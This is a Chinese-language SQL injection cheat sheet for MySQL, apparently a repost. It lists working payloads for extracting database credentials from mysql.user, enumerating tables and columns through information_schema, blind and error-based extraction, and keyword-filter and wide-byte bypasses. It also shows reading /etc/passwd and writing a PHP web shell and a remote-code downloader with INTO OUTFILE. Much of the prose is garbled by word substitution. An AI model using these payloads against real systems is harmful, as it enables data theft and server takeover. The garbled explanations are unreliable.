mysql须要root权限读取information_schema在5以上的版本中存在
测试是否存在注入方法
假:表示查询是缺点的 (MySQL 报错/返回页面与原来不同)
真:表示查询是正常的 (返回页面与原来相同)
共三种情形:
字符串类型查询时:数字类型查询时:上岸时:‘假”真“假“”真\假\\真AND 1真AND 0假AND true真AND false假1-false有问题时返回1的结果1-true有问题时返回0的结果2-1返回与1相同代表可能存在问题156返回与56相同代表可能存在问题156返回与1相同代表没有问题‘ OR ‘1‘ OR 1 — –” OR “” = “” OR 1 = 1 — –‘=’‘LIKE’‘=0–+
例子:
SELECT FROM Users WHERE id = '1''';SELECT FROM Users WHERE id = 3-2;SELECT FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
可以利用很多单双引号,只假如成对涌现。
SELECT FROM Articles WHERE id = '121'''''''''''''
引号后的语句会连续实行。
SELECT '1'''''\公众\公众 UNION SELECT '2' # 1 and 2
下面的符号可以用来注释语句:
#Hash 语法/C-style 语法— –SQL 语法;%00空字节`反引号
例子:
SELECT FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';SELECT FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
测试数据库版本
VERSION()@@VERSION@@GLOBAL.VERSION
如果版本为5的话,下面例子返回为真:
SELECT FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
windows平台上的mysql查询与linux上返回不同,如果是windows做事器返回结果会包含 -nt-log字符。
数据库认证信息:
表mysql.user字段user, password当前用户user(), current_user(), current_user, system_user(), session_user()
例子:
SELECT current_user;SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
数据库名:
表information_schema.schemata, mysql.db字段schema_name, db当前数据库database(), schema()
例子:
SELECT database();SELECT schema_name FROM information_schema.schemata;SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
做事器主机名:
@@HOSTNAME
例子:
SELECT @@hostname;
表和字段
检测字段数
两种办法:
ORDER BY判断ORDER BY n+1; 让n一贯增加直到涌现缺点页面。 例子: 查询语句 SELECT username, password, permission FROM Users WHERE id = ‘1’; 1′ ORDER BY 1–+ 真 1′ ORDER BY 2–+ 真 1′ ORDER BY 3–+ 真 1′ ORDER BY 4–+ 假- 查询只用了3个字段 -1′ UNION SELECT 1,2,3–+ 真基于缺点查询AND (SELECT FROM SOME_EXISTING_TABLE) = 1 把稳: 这种办法须要你知道所要查询的表名。 这种报错办法返回表的字段数,而不是缺点的查询语句。 例子: 查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT FROM Users) = 1 返回Users的字段数
查询表名
三种办法:
Union办法UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;– MySQL 4版本时用version=9,MySQL 5版本时用version=10盲注AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A’报错AND(SELECT COUNT() FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));– 在5.1.5版本中成功。
查询列名
Union办法UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’盲注AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A’报错AND(SELECT COUNT() FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));– 在5.1.5版本中成功。 AND (1,2,3) = (SELECT FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)– MySQL 5.1版本修复了利用PROCEDURE ANALYSE()这个须要web展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 得到第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 得到第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 得到第三个段名
一次查询多个表或列
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例子:
SELECT FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
输出结果:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED
利用代码:
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
例子:
SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;
输出结果:
Table: talk_revisionsColumn: revidTable: talk_revisionsColumn: useridTable: talk_revisionsColumn: userTable: talk_projectsColumn: priority
根据列名查询所在的表
SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’;查询字段为username的表SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’;查询字段中包含user的表
根据表查询包含的字段
SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’;查询user表中的字段SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’;查询包含user字符串表中的字段
绕过引号限定
SELECT FROM Users WHERE username = 0x61646D696EHex编码SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)利用CHAR()函数
绕过字符串黑名单
SELECT ‘a’ ‘d’ ‘mi’ ‘n’;SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);SELECT CONCAT_WS(”, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
利用CONCAT()时,任何个参数为null,将返回null, 推举利用CONCAT_WS() 。
CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。
条件语句
CASEIF()IFNULL()NULLIF()
例子:
SELECT IF(1=1, true, false);SELECT CASE WHEN 1=1 THEN true ELSE false END;
韶光延迟查询:
SLEEP()MySQL 5BENCHMARK()MySQL 4/5
例子:
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
权限
文件权限
下面的语句可以查询用户读写文件操作权限:
SELECT file_priv FROM mysql.user WHERE user = ‘username’;须要root用户来实行MySQL 4/5SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’;普通用户都可以MySQL 5
读取文件
如果用户有文件操作权限可以读取文件:
LOAD_FILE()
例子:
SELECT LOAD_FILE('/etc/passwd');SELECT LOAD_FILE(0x2F6574632F706173737764);文件必须在做事器上。LOAD_FILE()函数操作文件确当前目录是@@datadir 。MySQL用户必须拥有对此文件读取的权限。文件大小必须小于 max_allowed_packet。@@max_allowed_packet的默认大小是1047552 字节.
写文件
如果用户有文件操作权限可以写文件。
INTO OUTFILE/DUMPFILE
写一个php的shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
访问如下链接:
http://localhost/shell.php?c=cat%20/etc/passwd
写一个下载者:
SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
访问如下链接:
http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
INTO OUTFILE 不可以覆盖已存在的文件。INTO OUTFILE 必须是末了一个查询。引号是必须的,由于没有办法可以编码路径名。PDO堆查询办法操作数据库
PHP利用PDO_MYSQL来连接数据库,便可以利用堆查询,堆查询可以同时实行多个语句。
SELECT FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');
MySql特有的写法
MySql中,/! SQL 语句 / 这种格式里面的 SQL 语句会当正常的语句一样被解析。
如果在!之后是一串数字(这串数字便是 mysql 数据库的版本号), 如:/! 12345 SQL 语句 /
当版本号大于即是该数字,SQL 语句则实行,否则就不实行。
SELECT 1/!41320UNION/!/!/!00000SELECT/!/!USER/!(/!/!/!/);
模糊和稠浊
许可的字符
09Horizontal Tab0ANew Line0BVertical Tab0CNew Page0DCarriage ReturnA0Non-breaking Space20Space
例子:
'%0A%09UNION%0CSELECT%A0NULL%20%23
括号也可以用来绕过过滤空格的情形:
28(29)
例子:
UNION(SELECT(column)FROM(table))
AND或OR后面可以跟的字符
20Space2B+2D–7E~21!40@
例子:
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
dual是一个虚拟表,可以用来做测试。
几个针对黑名单绕过的例子
基于关键字的黑名单
过滤关键字and orphp代码preg_match(‘/(and|or)/i’,$id)会过滤的攻击代码1 or 1=1 1 and 1=1绕过办法1 || 1=1 1 && 1=1
下面这种办法你须要已经知道一些表和字段名(可以利用substring函数去一个一个得到information_schema.columns表中的数据)
过滤关键字and or unionphp代码preg_match(‘/(and|or|union)/i’,$id)会过滤的攻击代码union select user,password from users绕过办法1 && (select user from users where userid=1)=’admin’过滤关键字and or union wherephp代码preg_match(‘/(and|or|union|where)/i’,$id)会过滤的攻击代码1 && (select user from users where user_id = 1) = ‘admin’绕过办法1 && (select user from users limit 1) = ‘admin’过滤关键字and or union wherephp代码preg_match(‘/(and|or|union|where)/i’,$id)会过滤的攻击代码1 && (select user from users where user_id = 1) = ‘admin’绕过办法1 && (select user from users limit 1) = ‘admin’过滤关键字and, or, union, where, limitphp代码preg_match(‘/(and|or|union|where|limit)/i’, $id)会过滤的攻击代码1 && (select user from users limit 1) = ‘admin’绕过办法1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id聚合中user_id为1的user为admin过滤关键字and, or, union, where, limit, group byphp代码preg_match(‘/(and|or|union|where|limit|group by)/i’, $id)会过滤的攻击代码1 && (select user from users group by user_id having user_id = 1) = ‘admin’绕过办法1 && (select substr(group_concat(user_id),1,1) user from users ) = 1过滤关键字and, or, union, where, limit, group by, selectphp代码preg_match(‘/(and|or|union|where|limit|group by|select)/i’, $id)会过滤的攻击代码1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1绕过办法1 && substr(user,1,1) = ‘a’过滤关键字and, or, union, where, limit, group by, select, ‘php代码preg_match(‘/(and|or|union|where|limit|group by|select|\’)/i’, $id)会过滤的攻击代码1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1绕过办法1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)过滤关键字and, or, union, where, limit, group by, select, ‘, hexphp代码preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/i’, $id)会过滤的攻击代码1 && substr(user,1,1) = unhex(61)绕过办法1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。过滤关键字and, or, union, where, limit, group by, select, ‘, hex, substrphp代码preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/i’, $id)会过滤的攻击代码1 && substr(user,1,1) = lower(conv(11,10,16))/td>绕过办法1 && lpad(user,7,1)过滤关键字and, or, union, where, limit, group by, select, ‘, hex, substr, 空格php代码preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/i’, $id)会过滤的攻击代码1 && lpad(user,7,1)/td>绕过办法1%0b||%0blpad(user,7,1)过滤关键字and or union wherephp代码preg_match(‘/(and|or|union|where)/i’,$id)会过滤的攻击代码1 || (select user from users where user_id = 1) = ‘admin’绕过办法1 || (select user from users limit 1) = ‘admin’
利用正则表达式进行盲注
我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击办法如下:
1、判断第一个表名的第一个字符是否是a-z中的字符,个中blind_sqli是假设已知的库名。
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA=\"大众blind_sqli\"大众 AND table_name REGEXP '^[a-z]' LIMIT 0,1) /
2、判断第一个字符是否是a-n中的字符
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA=\"大众blind_sqli\"大众 AND table_name REGEXP '^[a-n]' LIMIT 0,1)/
3、确定该字符为n
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA=\公众blind_sqli\"大众 AND table_name REGEXP '^n' LIMIT 0,1) /
4、表达式的改换如下
'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
这时解释表名为news ,要验证是否是该表明 正则表达式为’^news$’,但是没这必要 直接判断 table_name = ‘news’ 不就行了。
5、接下来猜解其它表了 只须要修正 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。
order by后的注入
oder by由于是排序语句,以是可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。
一样平常带有oder或者orderby的变量很可能是这种注入,在知道一个字段的时候可以采取如下办法注入:
原始链接:http://www.test.com/list.php?order=vote 根据vote字段排序。
找到投票数最大的票数num然后布局以下链接:
http://www.test.com/list.php?order=abs(vote-(length(user())>0)num)+asc
看排序是否变革。
还有一种方法不须要知道任何字段信息,利用rand函数:
http://www.test.com/list.php?order=rand(true)http://www.test.com/list.php?order=rand(false)
以上两个会返回不同的排序,判断表名中第一个字符是否小于128的语句如下:
http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
宽字节注入
sql注入中的宽字节海内最常利用的gbk编码,这种办法紧张是绕过addslashes等对分外字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数碰着单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以运用。
原创文章,原文作者:Drops,转载自:http://www.mottoin.com/tech/121984.html